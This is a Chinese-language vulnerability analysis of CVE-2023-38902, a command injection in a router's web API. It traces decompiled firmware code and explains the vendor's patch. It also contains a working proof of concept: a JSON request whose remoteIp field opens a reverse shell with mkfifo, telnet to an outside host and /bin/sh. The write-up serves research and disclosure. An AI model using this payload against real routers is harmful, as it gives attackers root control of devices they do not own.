  if ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u) || (v4 = *(const char **)(a1 + 8)) == 0 )//这里检查了operator是否为空，Operation type的合法性检查以及module_value是否存在，在我们发送的报文中是不会进入这个if的
  {
......
  }
  memset(v103, 0, 108);
  if ( v3 == 3 )//因为操作类型设置为devCap，所以这个if可以进来
  {
......
    v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段
    if ( !v5 || !*v5 )//判断remoteIp字段是否存在
      goto LABEL_250;
    v6 = a1;
    if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0，这个if可以进入
    {
      remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中   
    }
......

remote_call函数：
//remote_call
  v9 = (const char *)a1[5];// v9为remoteIp字段
  if ( !strcmp(a1[2], dword_4232A8) && *a1 == 5 )// 拿module字段中的值与字符串esw做比较，这个if进不去
  {
......
  }
...... 
  for ( i = *(const char **)((char *)&sid_list_by_ip + v11); ; i = *(const char **)i )// 这个if会进去
  {
    if ( i == (char *)&sid_list_by_ip + v11 )   // 这个if也会进去
    {
      pthread_rwlock_unlock(&sid_mutex);       
      goto LABEL_35; // 跳转至触发漏洞函数
    }
......
LABEL_35:
  v14 = sub_41A148((int)a1);//该函数存在最终的漏洞点
......
  return 0;

最终存在命令注入的函数sub_41A148。
//sub_41A148
  v2 = *(_DWORD *)(a1 + 24);//v2为remotePwd的值
  v19 = 0;
  if ( v2 )//因为remotePwd字段没有传，所以这里为空，进入else
  {
......
  }
  else
  {
    ufm_read_file("/etc/rg_config/admin", &v19);// 没有这个文件，什么都读不出来
    if ( !v19 )
    {
      v19 = (const char *)strdup("U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=");// 如果什么都没有读到的话，就将这个数据作为v19
......
    }
  }
......
  snprintf(
    v17,
    511,
    "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{"method":"login",""
    "params":{"username":"admini","password":"%s","encry":"true"}}'",
    *(const char **)(a1 + 20),//此处会将remoteIp字段拼接进去
    v19);
......
  v18 = 0;
  if ( ufm_popen(v17, &v18) || !v18 )//最终由ufm_popen函数导致了命令执行
  {
    uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!", "ufm_remote_call.c", "fetch_get_sid", 289);
    return 0;
  }
......

上述的调用链已经分析的很清楚了并且都标注在了注释中，理清楚这些后攻击报文的构造就显而易见了，下面说一下我认为有必要提及的两点。

为什么remotePwd字段无法注入命令？

在204固件中，其实是可以从remotePwd字段中注入命令并执行的，而且在最新的固件中，也可以看到这里判断了remotePwd是否存在，如果存在的话也可以进行拼接，最终导致命令执行，相关代码如下。
v2 = *(_DWORD *)(a1 + 24);//v19为remotePwd的值
  v19 = 0;
  if ( v2 )
  {
    v19 = (const char *)strdup(v2);
.......
  }
......
  snprintf(
    v17,
    511,
    "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{"method":"login",""
    "params":{"username":"admini","password":"%s","encry":"true"}}'",
    *(const char **)(a1 + 20),
    v19);//此处是拼接v19的
  if ( ufm_popen(v17, &v18) || !v18 )//loophole
  {
......
  }

但在最新的固件中对remotePwd字段注入命令是不成功的。

因为发现在parse_obj2_cmd函数中对json数据解析时，对于remotePwd字段的处理是存在Bug的，它限制了remotePwd字段要为array类型（如下代码所示），但是前端对于array类型的remotePwd会报错。

这里其实能猜测出remotePwd字段是string类型，实际上代码应该是json_object_get_type(v37) == 6。这就导致设置remotePwd类型时要么是前端报错，要么是二进制程序中判断这个类型错误，从而阴差阳错的阻止了从这里进行注入。
 
if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )

而在204固件中，它的功能实现都是由lua语言来完成的，最终命令执行的漏洞点如下（fetch_sid函数的参数password就为remotePwd字段），因此在该固件版本中可以从remotePwd字段进行注入，而之后的版本因为Bug的原因无法进行注入。
CVE-2023-38902的详细研究


攻击报文为什么这么构造？

攻击报文如下，这些字段都是缺一不可的。而没有出现的字段都是可有可无的。
{
    "method": "devCap.get",
    "params": {
        "module": "123",
        "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)"
    }
}

下面来贴出证明这几个字段缺一不可的关键代码（其实上文的分析中都有提到，这里再汇总一下）。

method和params不能为空，因为这里有如下检查，如果他们不存在的话会直接返回-1。
v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )
  {
LABEL_27:
    json_object_put(v7);
    return -1;
  }
  if ( json_object_object_get_ex(v4, "method", v19) != 1 )
  {
LABEL_26:
    v7 = v4;
    goto LABEL_27;
  }

而module也必须存在，并且module字段是params中的一个值。可以看到这里解析出了params，给到v38。

而后module字段是从v38也就是params中解析出来的，如果module字段不存在的话，会执行return 0：
if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//
  {
......
  }
......
  if ( json_object_object_get_ex(v38, "module", &v37) != 1 )
  {
    uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 289);
    goto LABEL_109;
  }

LABEL_109:
    cmd_msg_free(v3);
    return 0;

而操作类型要设置为devCap，下面if(v3 == 3)才可以执行到remote_call函数。
if ( v3 == 3 )//因为操作类型设置为devCap，所以这个if可以进来
  {
......
    v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段
    if ( !v5 || !*v5 )//判断remoteIp字段是否存在
      goto LABEL_250;
    v6 = a1;
    if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0，这个if可以进入
    {
      remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中   
    }

操作符为get是因为在Lua文件中只有opt[i]为get的时候才在devCap表中定义了字符串get所对应函数：
lua
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end



四

攻击演示


这里拿在某鱼上买的真机进行测试，目标路由器某型号的版本是217。但搭建了219的仿真环境也是可以攻击成功的。

首先登录路由器的管理后台：
CVE-2023-38902的详细研究

然后用Burp Suite抓包，拿到auth的值：

CVE-2023-38902的详细研究

向/cgi-bin/luci/api/cmd发送POST报文。

POC

{
    "method": "devCap.get",
    "params": {
        "module": "123",
        "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)"
    }
}


CVE-2023-38902的详细研究

攻击效果

可以看到反弹shell成功，此时拿到了路由器的最高权限：
CVE-2023-38902的详细研究



五

修复方案


官方在226版本，对上述漏洞发布了补丁。

新添加了一个detect_remoteIp_invalid函数，该函数检查了remoteIP字段是否为纯数字或者字符.，因为正常的IP应该为xx.xx.xx.xx。这相当于对命令注入的字段做了一个过滤。
int __fastcall detect_remoteIp_invalid(char *buf)
{
  int len; // $v0
  char *v3; // $a0
  char *v4; // $v0
  int v5; // $v1

  len = strlen(buf);
  v3 = buf;
  v4 = &buf[len];
  while ( v3 != v4 )
  {
    v5 = *v3;
    if ( (unsigned __int8)(v5 - 48) < 0xAu )
    {
      ++v3;
    }
    else
    {
      ++v3;
      if ( v5 != '.' )
      {
        uf_log_printf(
          uf_log,
          "ERROR (%s %s %d)invalid char: %c, need [number][.][number]!",
          "sgi.c",
          "detect_remoteIp_invalid",
          273,
          v5);
        return -1;
      }
    }
  }
  return 0;
}


参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902



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看雪ID：ZIKH26

https://bbs.kanxue.com/user-home-953233.htm

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